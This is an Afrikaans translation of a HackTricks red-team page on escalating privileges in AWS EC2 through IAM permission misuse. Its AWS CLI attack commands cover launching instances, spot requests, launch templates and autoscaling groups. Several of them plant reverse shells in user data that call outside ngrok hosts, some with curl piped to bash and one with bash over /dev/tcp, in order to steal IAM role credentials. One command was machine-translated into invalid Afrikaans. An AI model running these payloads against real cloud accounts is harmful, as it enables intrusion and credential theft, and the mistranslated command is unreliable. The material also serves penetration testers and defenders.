AWS - EC2 Privesc

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

EC2

Vir meer inligting oor EC2, kyk:

iam:PassRole, ec2:RunInstances

'n Aanvaller kan 'n instansie skep wat 'n IAM-role aanheg en dan toegang tot die instansie verkry om die IAM-role-legitimasie van die metadata-eindpunt te steel.

  • Toegang via SSH

Voer 'n nuwe instansie uit deur 'n geskep ssh-sleutel (--key-name) te gebruik en skakel dan in met ssh (as jy 'n nuwe een wil skep, mag jy die toestemming ec2:CreateKeyPair nodig hê).

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
--security-group-ids <sg-id>
  • Toegang via omgekeerde skul in gebruikersdata

Jy kan 'n nuwe instansie uitvoer met behulp van 'n gebruikersdata (--user-data) wat 'n omgekeerde skul na jou sal stuur. Jy hoef nie op hierdie manier 'n veiligheidsgroep te spesifiseer nie.

echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh

aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
--iam-instance-profile Name=E<instance-profile-name> \
--count 1 \
--user-data "file:///tmp/rev.sh"

Wees versigtig met GuradDuty as jy die geloofsbriewe van die IAM rol buite die instansie gebruik:

Potensiële Impak: Direkte voorregverhoging na enige EC2-rol wat aan bestaande instansieprofiels geheg is.

Voorregverhoging na ECS

Met hierdie stel toestemmings kan jy ook 'n EC2-instansie skep en dit binne 'n ECS-kluster registreer. Op hierdie manier sal ECS-dienste binne die EC2-instansie waar jy toegang het, uitgevoer word en dan kan jy daardie dienste (docker-houers) penetreer en hul gehegte ECS-rolle steel.

aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
--instance-type t2.micro \
--iam-instance-profile <ECS_role> \
--count 1 --key-name pwned \
--user-data "file:///tmp/asd.sh"

# Make sure to use an ECS optimized AMI as it has everything installed for ECS already (amzn2-ami-ecs-hvm-2.0.20210520-x86_64-ebs)
# The EC2 instance profile needs basic ECS access
# The content of the user data is:
#!/bin/bash
echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;

Om te leer hoe om ECS-dienste te dwing om uitgevoer te word in hierdie nuwe EC2-instantie, kyk:

As jy nie 'n nuwe instantie kan skep nie, maar die toestemming ecs:RegisterContainerInstance het, kan jy dalk die instantie registreer binne die groep en die gekommentaar aanval uitvoer.

Potensiële Impak: Direkte voorregverhoging na ECS-rolle wat aan take gekoppel is.

iam:PassRole, iam:AddRoleToInstanceProfile

Soortgelyk aan die vorige scenario, kan 'n aanvaller met hierdie toestemmings die IAM-rol van 'n gekompromitteerde instantie verander, sodat hy nuwe geloofsbriewe kan steel. Aangesien 'n instantieprofiel slegs 1 rol kan hê, as die instantieprofiel reeds 'n rol het (gewone geval), sal jy ook iam:RemoveRoleFromInstanceProfile benodig.

# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>

# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>

As die instansprofiel 'n rol het en die aanvaller kan dit nie verwyder nie, is daar 'n ander omweg. Hy kan 'n instansprofiel sonder 'n rol vind of 'n nuwe een skep (iam:CreateInstanceProfile), die rol byvoeg by daardie instansprofiel (soos voorheen bespreek), en die gekompromitteerde instansprofiel koppel aan 'n gekompromitteerde instans:

  • As die instans geen instansprofiel het nie (ec2:AssociateIamInstanceProfile) *

aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>

Potensiële Impak: Direkte voorregte-escalasie na 'n ander EC2 rol (jy moet 'n AWS EC2-instantie gekompromitteer het en 'n paar ekstra toestemming of 'n spesifieke instansieprofielstatus hê).

iam:PassRole(( ec2:AssociateIamInstanceProfile& ec2:DisassociateIamInstanceProfile) || ec2:ReplaceIamInstanceProfileAssociation)

Met hierdie toestemmings is dit moontlik om die instansieprofiel wat aan 'n instansie gekoppel is, te verander. As die aanval reeds toegang tot 'n instansie het, sal hy in staat wees om geloofsbriewe vir meer instansieprofielrolle te steel deur die een wat daarmee gekoppel is, te verander.

  • As dit 'n instansieprofiel het, kan jy die instansieprofiel verwyder (ec2:DisassociateIamInstanceProfile) en dit koppel *

aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id <value>
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
  • of vervang die instansieprofiel van die gekompromitteerde instansie (ec2:ReplaceIamInstanceProfileAssociation). *

```bash
aws ec2 vervang-iam-instansprofiel-assosiasie --iam-instansprofiel Naam=<waarde> --assosiasie-id <waarde>
```

Potensiële Impak: Direkte voorregte-escalasie na 'n ander EC2 rol (jy moet 'n AWS EC2-instansie gekompromitteer het en 'n paar ekstra toestemming of 'n spesifieke instansieprofielstatus hê).

ec2:RequestSpotInstances,iam:PassRole

'n Aanvaller met die toestemmings ec2:RequestSpotInstanceseniam:PassRole kan 'n Spot-instansie aanvra met 'n EC2-rol aangeheg en 'n rev shell in die gebruikersdata. Sodra die instansie uitgevoer word, kan hy die IAM-rol steel.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 request-spot-instances \
--instance-count 1 \
--launch-specification "{\"IamInstanceProfile\":{\"Name\":\"EC2-CloudWatch-Agent-Role\"}, \"InstanceType\": \"t2.micro\", \"UserData\":\"$REV\", \"ImageId\": \"ami-0c1bc246476a5572b\"}"

ec2:ModifyInstanceAttribute

'n Aanvaller met die ec2:ModifyInstanceAttribute kan die instansie se eienskappe wysig. Onder hulle kan hy die gebruikersdata verander, wat beteken dat hy die instansie arbitrêre data kan laat uitvoer. Dit kan gebruik word om 'n rev shell na die EC2-instansie te kry.

Let daarop dat die eienskappe slegs gewysig kan word terwyl die instansie gestop is, dus die toestemmings ec2:StopInstances en ec2:StartInstances.

TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0

--//
Content-Type: text/cloud-config; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="cloud-config.txt"

#cloud-config
cloud_final_modules:
- [scripts-user, always]

--//
Content-Type: text/x-shellscript; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="userdata.txt"

#!/bin/bash
bash -i >& /dev/tcp/2.tcp.ngrok.io/14510 0>&1
--//'
TEXT_PATH="/tmp/text.b64.txt"

printf $TEXT | base64 > "$TEXT_PATH"

aws ec2 stop-instances --instance-ids $INSTANCE_ID

aws ec2 modify-instance-attribute \
--instance-id="$INSTANCE_ID" \
--attribute userData \
--value file://$TEXT_PATH

aws ec2 start-instances --instance-ids $INSTANCE_ID

Potensiële Impak: Direkte bevoorregte toegang tot enige EC2 IAM Rol wat aan 'n geskep instansie geheg is.

ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplate,ec2:ModifyLaunchTemplate

'n Aanvaller met die toestemmings ec2:CreateLaunchTemplateVersion,ec2:CreateLaunchTemplateen ec2:ModifyLaunchTemplate kan 'n nuwe Lanceer Sjabloon weergawe skep met 'n omgekeerde skul in die gebruikersdata en enige EC2 IAM Rol daarop, die verstek weergawe verander, en enige Autoscaler groep wat daardie Lanceer Sjabloon gebruik wat gekonfigureer is om die nuutste of die verstek weergawe te gebruik, sal die instansies wat daardie sjabloon gebruik herlaai en die omgekeerde skul uitvoer.

REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
' | base64)

aws ec2 create-launch-template-version \
--launch-template-name bad_template \
--launch-template-data "{\"ImageId\": \"ami-0c1bc246476a5572b\", \"InstanceType\": \"t3.micro\", \"IamInstanceProfile\": {\"Name\": \"ecsInstanceRole\"}, \"UserData\": \"$REV\"}"

aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2

Potensiële Impak: Direkte voorregte-escalasie na 'n ander EC2 rol.

autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, iam:PassRole

'n Aanvaller met die toestemmings autoscaling:CreateLaunchConfiguration,autoscaling:CreateAutoScalingGroup,iam:PassRole kan 'n Lanceringskonfigurasie met 'n IAM Rol en 'n omgekeerde skulp binne die gebruikersdata skep, en dan 'n outomatiese skaal-groep van daardie konfigurasie skep en wag vir die omgekeerde skulp om die IAM Rol te steel.

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
--image-id ami-0c1bc246476a5572b \
--instance-type t3.micro \
--iam-instance-profile EC2-CloudWatch-Agent-Role \
--user-data "$REV"

aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--auto-scaling-group-name bad_auto \
--min-size 1 --max-size 1 \
--launch-configuration-name bad_config \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"

Potensiële Impak: Direkte voorregverhoging na 'n ander EC2 rol.

!autoscaling

Die stel toestemmings ec2:CreateLaunchTemplate en autoscaling:CreateAutoScalingGroup is nie genoeg om voorregte te verhoog na 'n IAM rol nie, omdat jy toestemmings iam:PassRole en ec2:RunInstances benodig om die rol wat in die Lanceerkonfigurasie of in die Lanceersjabloon gespesifiseer is, aan te heg (wat 'n bekende voorregverhoging is).

ec2-instance-connect:SendSSHPublicKey

'n Aanvaller met die toestemming ec2-instance-connect:SendSSHPublicKey kan 'n ssh-sleutel by 'n gebruiker voeg en dit gebruik om toegang tot dit te verkry (as hy ssh-toegang tot die instansie het) of om voorregte te verhoog.

aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"

Potensiële Impak: Direkte bevoorregte toegang tot die EC2 IAM-rolle wat aan lopende instansies gekoppel is.

ec2-instance-connect:SendSerialConsoleSSHPublicKey

'n Aanvaller met die toestemming ec2-instance-connect:SendSerialConsoleSSHPublicKey kan 'n ssh-sleutel by 'n seriële verbinding voeg. As die seriële nie geaktiveer is nie, benodig die aanvaller die toestemming ec2:EnableSerialConsoleAccess om dit te aktiveer.

Om met die seriële poort te verbind, moet jy ook die gebruikersnaam en wagwoord van 'n gebruiker binne die masjien weet.

aws ec2 enable-serial-console-access

aws ec2-instance-connect send-serial-console-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--serial-port 0 \
--region "eu-west-1" \
--ssh-public-key "file://$PUBK_PATH"

ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws

Hierdie metode is nie baie nuttig vir privilege-escalation nie, aangesien jy 'n gebruikersnaam en wagwoord moet weet om dit uit te buit.

Potensiële Impak: (Hoogs onbewysbaar) Direkte privilege-escalation na die EC2 IAM-rolle wat aan lopende instansies gekoppel is.

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated